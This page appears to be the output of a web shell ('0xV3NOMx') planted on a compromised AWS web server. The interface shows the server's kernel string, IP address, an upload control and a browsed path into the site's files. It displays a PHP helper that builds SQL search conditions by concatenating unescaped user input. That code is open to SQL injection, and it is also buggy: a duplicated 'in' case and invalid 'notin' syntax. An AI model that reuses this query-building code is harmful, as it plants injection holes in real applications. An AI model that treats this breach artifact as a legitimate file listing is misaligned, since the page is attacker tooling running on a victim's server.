0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.141.41.109


Current Path : /proc/thread-self/root/var/www/oasis/custom_src_old/
Upload File :
Current File : //proc/thread-self/root/var/www/oasis/custom_src_old/get_search_conditon.php

 <?php
 function getsearchcondition($cond,$val)
{
	switch($cond)
		{
		case 'eq':
		$cond="="; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'ne':
		$cond="!="; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'lt':
		$cond="<"; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'le':
		$cond="<="; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'gt':
		$cond=">"; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'ge':
		$cond=">="; 
		$value="'".$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'cn':
		$cond="like '%"; 
		$value=$val."%'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'nc':// Doesnot Contain
		$cond="not like '%"; 
		$value=$val."%'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		
		case 'bw':
		$cond="like '"; 
		$value=trim($val)."%'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		case 'bn'://Does Not Begin With
		$cond="not like '"; 
		$value=trim($val)."%'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		
		case 'ew':
		$cond="like '%"; 
		$value=$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		
		case 'en'://Does Not Ends With
		$cond="not like '%"; 
		$value=$val."'";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		
		case 'in'://Is in
		$cond="in '("; 
		$value=$val."')";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
		
		case 'in'://Is not in
		$cond="notin '("; 
		$value=$val."')";
		$final_value[0]=$cond;
		$final_value[1]=$value;
		return $final_value;
		break;
	}
}
  ?>